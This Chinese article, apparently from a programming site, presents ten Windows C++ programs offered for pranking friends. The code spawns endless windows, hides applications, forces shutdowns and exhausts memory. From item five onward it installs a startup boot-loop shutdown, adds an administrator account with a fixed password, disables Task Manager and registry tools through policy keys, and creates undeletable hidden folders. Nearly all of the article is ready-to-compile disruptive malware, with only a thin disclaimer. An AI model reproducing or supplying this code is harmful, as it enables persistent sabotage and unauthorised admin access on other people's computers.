十个C++恶搞朋友的代码合集

 更新时间:2023年02月06日 14:24:32   作者:wangyuhan2010  
这篇文章主要为大家整理了十个C++中可以恶搞朋友的代码合集(注意!从第五个开始为危险/永久性程序,请慎重使用),感兴趣的小伙伴可以收藏一下

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

0.无限生成cmd

解决方法:关闭程序即可

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}

1.使鼠标所点应用消失

解决方法:暂无

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    } 
}

2.使鼠标乱飞

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    } 
}

3.立刻或定时关机

解决方法:cmd(Win+R,输入:cmd),输入shutdown -a

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown -s -t 60");->1分钟
    system("shutdown -p");->立刻
}

4.卡死

注意:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}

警告:从5.开始为危险/永久性程序,请慎重使用

5.开机即关机

提示:操作启动项,可能被杀毒软件拦截

解决方法:杀毒软件

Code:(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}

6.添加用户

提示:可能被杀毒软件拦截

解决方法:杀毒软件

Code:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
    USER_INFO_1 user;
    user.usri1_name = UserName;
    user.usri1_password = Password;
    user.usri1_priv = USER_PRIV_USER;
    user.usri1_home_dir = NULL;
    user.usri1_comment = NULL;
    user.usri1_flags = UF_SCRIPT;
    user.usri1_script_path = NULL;
    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
        printf("创建用户完成 \n");
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = user.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
        printf("添加到组完成 \n");
}
void EnumUser()
{
    LPUSER_INFO_0 pBuf = NULL;
    LPUSER_INFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    DWORD i;
    NET_API_STATUS nStatus;
    LPTSTR pszServerName = NULL;
 
    do
    {
        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
 
        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != NULL);
 
                    if (pTmpBuf == NULL)
                    {
                        break;
                    }
                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                    pTmpBuf++;
                }
            }
        }
 
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA);
    NetApiBufferFree(pBuf);
}
 
int main(int argc, char *argv[])
{
    AddUser(L"lyshark", L"123123");
    EnumUser();
 
    system("pause");
    return 0;
}

7.禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

8.禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

9.桌面壁纸

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

10.不可删除文件

解决方法:将51-52行换成52行

Code:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
 
    strcat(file, "\\anti...\\");
    RemoveDirectory(file);
 
    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
    char *Fuk[4] = { "你", "好", "世", "界" };
    int FukLen = sizeof(Fuk) / sizeof(int);
 
    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
 
    for (int x = 0; x < FukLen; x++)
    {
        SetImmunity("c://", Fuk[x]);
        //ClearImmunity("c://", Fuk[x]);
    }
 
    system("pause");
    return 0;
}

到此这篇关十个C++恶搞朋友的代码合集的文章就介绍到这了,更多相关C++恶搞代码内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • C语言编程C++动态内存分配示例讲解

    C语言编程C++动态内存分配示例讲解

    这篇文章主要介绍了C语言编程C++动态内存分配示例讲解,为什么存在动态内存分配?本文通过动态内存介绍及常见内存错误等示例来为大家讲解
    2021-09-09
  • 深入解析C++ STL中的常用容器

    深入解析C++ STL中的常用容器

    这里我们不涉及容器的基本操作之类,只是要讨论一下各个容器其各自的特点。STL中的常用容器包括:顺序性容器(vector、deque、list)、关联容器(map、set)、容器适配器(queue、stac)
    2013-09-09
  • c_str()的用法详细解析

    c_str()的用法详细解析

    c_str()就是把string类对象转换成和c兼容的char *类型。这是为了与c语言兼容,在c语言中没有string类型,故必须通过string类对象的成员函数c_str()把string 对象转换成c中的字符串样式
    2013-09-09
  • C++ 设置和获取当前工作路径的实现代码

    C++ 设置和获取当前工作路径的实现代码

    这篇文章主要介绍了C++ 设置和获取当前工作路径的实现代码,防止DLL加载不到配置和文件,需要的朋友可以参考下
    2017-09-09
  • 用C语言实现扫雷小游戏

    用C语言实现扫雷小游戏

    这篇文章主要为大家详细介绍了用C语言实现扫雷小游戏,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-06-06
  • c++如何控制输出浮点数小数点后若干位

    c++如何控制输出浮点数小数点后若干位

    这篇文章主要介绍了c++如何控制输出浮点数小数点后若干位问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-09-09
  • C++ string 字符串查找匹配实例代码

    C++ string 字符串查找匹配实例代码

    下面小编就为大家带来一篇C++ string 字符串查找匹配实例代码。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-10-10
  • C语言堆实现建堆算法和堆排序

    C语言堆实现建堆算法和堆排序

    本文主要介绍了C语言堆实现建堆算法和堆排序,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2024-09-09
  • c/c++ Error: redefinition of 'xxx'的问题及解决方法

    c/c++ Error: redefinition of 'xxx'的问题及解决方法

    两个类/文件同时引用定义ReplyInfo的头文件,会造成头文件中定义重复定义,本文给大家分享c/c++ Error: redefinition of ‘xxx’ 的问题及解决方法,感兴趣的朋友一起看看吧
    2023-08-08
  • C++基本用法实践之模板详解

    C++基本用法实践之模板详解

    C++的模板是泛型编程思想的一种实现,模板不光支持函数模板,还有类模板等,本文主要来和大家聊聊C++中模板的相关用法,需要的可以参考一下
    2023-07-07

最新评论